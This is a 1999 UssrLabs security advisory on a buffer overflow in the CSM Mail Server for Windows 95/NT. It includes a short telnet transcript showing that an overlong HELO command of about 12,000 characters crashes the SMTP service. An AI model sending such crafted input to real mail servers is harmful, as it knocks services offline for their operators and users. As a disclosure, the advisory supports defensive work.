Local / Remote D.o.S Attack in CSM Mail Server for Windows 95/NT v.2000.08.A


CSM Mail

CSM Mail Server for Windows 95/NT v.2000.08.A.


USSR Advisory Code:   USSR-99027

Release Date:
December 29, 1999 [3/5]

Systems Affected:
CSM Mail Server for Windows 95/NT and others old versions.
Version: 2000-01A
Version: 1999-07M
Version: 1999-07I
Version: 1999-07H
Version: 1999-07G
Version: 1999-07F
Version: 1999-07b

About The Software:

CSM Mail Server for Windows 95/NT allows:
* FIREWALL is usefull to reject unwanted calls to the SMTP server.
* ANTI-SPAMMING is usefull to reject unwanted messages.
* To define VIRTUAL DOMAINS which are physically manage by the 
  server itself.
* To define SECONDARY DOMAINS which are physically managed by the
  same or another server computer.
* To ROUTE (send or receive) messages between itself and the Internet.
* To ROUTE (send via SMTP) received message to the secondary domains.
* To TRANSFER (send or receive) messages between itself and the
  worktations attached to the local area network (LAN).
* To MANAGE the user mailboxes.
* To DISRIBUTE the messages in the mailboxes.
* It can be installed behind a Firewall or a CSM Proxy server.


UssrLabs found a Local / Remote Buffer overflow,and  maybe remotely
exploitable buffer overflow,The overflow is caused by a (long HELO)
in the login procedure.

[hellme@die-communitech.net$ telnet example.com 25
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220 SMTP CSM Mail Server ready at ServerName.com (Version 2000.08.A - NT.4.0.1381)
helo [buffer]

Where [buffer] is aprox. 12000 characters. At his point the server overflows
and crashes.

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Vendor Status:

Vendor   Url: http://www.csm-usa.com
Program Url: http://www.csm-usa.com/product/mailsrvr/



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